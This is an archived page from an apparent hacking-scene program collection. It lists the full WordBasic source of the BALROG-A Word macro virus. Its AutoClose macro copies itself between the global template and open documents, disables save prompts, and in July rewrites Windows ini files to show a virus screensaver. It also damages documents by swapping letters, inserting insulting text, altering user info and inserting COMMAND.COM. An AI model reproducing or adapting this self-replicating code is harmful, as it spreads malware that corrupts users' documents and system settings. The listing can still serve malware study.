home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0198.ZIP / MVUPDT18.ZIP / BALROG-A.ZIP / BALROG-A.MAC < prev   
Text File  |  1997-12-23  |  3KB  |  83 lines
  1. List Word Macros version 1.10
  2. File: BALROG-A.DOC
  3. Total macros: 1
  4. ==============================================================================
  5. Macro name: AutoClose [AUTOCLOSE] "U"
  6. Encryption key: 8E
  7. ------------------------------------------------------------------------------
  8. Sub MAIN
  9. MadeBy$ = "YBWJSVT!IBDLFS"
  10. If GetProfileString$("Intl", "sLanguage") = "esp" Then
  11. M1$ = "P.S.: You are a very stupid people."
  12.  M2$ = "P.S.: I hate you a lot."
  13.  M3$ = "P.S.: I wish your death."
  14.  M4$ = "P.S.: All the things I told you are lies."
  15.  M5$ = "P.S.: Call me if you need sex."
  16.  ToolsOptionsSave .GlobalDotPrompt = 0, .SaveInterval = "60"
  17.  On Error Goto Int24h
  18.  H = CountMacros(0)
  19.  T = 0
  20.  If H > 0 Then
  21.     For L = 1 To H
  22.       If MacroName$(L, 0) = "AutoClose" Then T = 1
  23.     Next L
  24.  End If
  25.  S$ = WindowName$() + ":AutoClose"
  26.  If T = 0 Then
  27.     MacroCopy S$, "Global:AutoClose", 1
  28.  Else
  29.     T = 0
  30.     If CountMacros(1) <> 0 Then T = 1
  31.     If Month(Now()) = 7 Then
  32.            If GetSystemInfo$(21) = "Windows" Then
  33. SetPrivateProfileString("Boot", "SCRNSAVE.EXE", "C:\WINDOWS\SSMARQUE.SCR", "C:\WINDOWS\SYSTEM.INI")
  34. SetPrivateProfileString("Windows", "ScreenSaveActive", "1", "C:\WINDOWS\WIN.INI")
  35. SetPrivateProfileString("Windows", "ScreenSaveTimeOut", "60", "C:\WINDOWS\WIN.INI")
  36. SetPrivateProfileString("Screen Saver.Marquee", "Text", "BALROG Virus is alive in your machine... thanx"  , "C:\WINDOWS\CONTROL.INI")
  37. SetPrivateProfileString("Screen Saver.Marquee", "PWProtected", "0"  , "C:\WINDOWS\CONTROL.INI")
  38. SetPrivateProfileString("Screen Saver.Marquee", "Font", "Times New Roman"  , "C:\WINDOWS\CONTROL.INI")
  39. SetPrivateProfileString("Screen Saver.Marquee", "Size", "48"  , "C:\WINDOWS\CONTROL.INI")
  40. SetPrivateProfileString("Screen Saver.Marquee", "Speed", "21"  , "C:\WINDOWS\CONTROL.INI")
  41. SetPrivateProfileString("Screen Saver.Marquee", "Attributes", "00010"  , "C:\WINDOWS\CONTROL.INI")
  42. SetPrivateProfileString("Screen Saver.Marquee", "CharSet", "0"  , "C:\WINDOWS\CONTROL.INI")
  43. SetPrivateProfileString("Screen Saver.Marquee", "BackgroundColor", "0 0 0"  , "C:\WINDOWS\CONTROL.INI")
  44. SetPrivateProfileString("Screen Saver.Marquee", "TextColor", "255 0 0"  , "C:\WINDOWS\CONTROL.INI")
  45.         End If
  46.  
  47.     End If
  48.     One = Int(Rnd() * (5  -  1) + 1)
  49.     If One = 3 Then
  50. EditReplace .Find = "v", .Replace = "b", .ReplaceAll, .MatchCase = 1, .Wrap = 1
  51.        EndIf
  52.     If One = 2 Then
  53.          One = Int(Rnd() * (5  -  1) + 1)
  54.            EndOfDocument
  55.            Insert Chr$(13)
  56.           If One = 1 Then Insert M1$
  57.        If One = 2 Then Insert M2$
  58.            If One = 3 Then Insert M3$
  59.            If One = 4 Then Insert M4$
  60.            If One = 5 Then Insert M5$
  61.        Insert Chr$(13)
  62.        StartOfDocument
  63.        EndIf
  64.     If One = 1 Then
  65.             ToolsOptionsUserInfo .Name = "Balrog Virus", .Initials = "BV", .Address = "Your machine"
  66.     EndIf
  67.     If One = 4 Then Beep(3)
  68.  
  69.         If T = 0 Then
  70.         FileSaveAs .Format = 1
  71.         MacroCopy "Global:AutoClose", S$, 1
  72.      End If
  73.  End If
  74. Else
  75.    One = Int(Rnd() * (10  -  1) + 1)
  76.    If One = 7 Then InsertFile "C:\COMMAND.COM", .ConfirmConversions = 0
  77. EndIf
  78.  
  79. Int24h:
  80. Err = 0
  81. End Sub
  82. ==============================================================================
  83.